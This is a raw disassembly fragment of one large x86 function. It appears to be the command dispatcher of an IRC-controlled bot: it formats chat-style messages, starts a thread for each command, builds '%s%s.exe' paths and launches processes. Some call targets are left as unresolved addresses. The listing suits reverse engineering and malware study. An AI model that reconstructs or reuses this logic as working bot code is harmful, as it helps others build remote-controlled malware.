		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFE4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A408
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407B44

loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------

loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A4FC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407C41

loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------

loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A388
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------

loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx

loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx

loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A35C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407D7F

loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_407D69
; ---------------------------------------------------------------------------

loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset unk_42A31C
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407E67

loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_407E51
; ---------------------------------------------------------------------------

loc_407E67:				; CODE XREF: sub_401ACD+6382j
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset unk_42A2A8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A278
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407F4F

loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A240
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A210
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408048

loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_408032
; ---------------------------------------------------------------------------

loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A1D8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A1A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408130

loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_40811A
; ---------------------------------------------------------------------------

loc_408130:				; CODE XREF: sub_401ACD+664Bj
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset dword_42A16C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A140
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408223

loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_408211
; ---------------------------------------------------------------------------

loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A108
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26B0C29h
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A0AC
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------

loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980

loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch

loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A070
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4083A1

loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_40838F
; ---------------------------------------------------------------------------

loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A034

loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5

loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2680000h
		nop
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42A010
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FF4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	near ptr 26B0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------

loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx

loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------

loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx

loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FBC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4085BF

loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------

loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset dword_429F80
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F38

loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 26904AEh

loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429F14
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429EFC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429EC8

loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------

loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
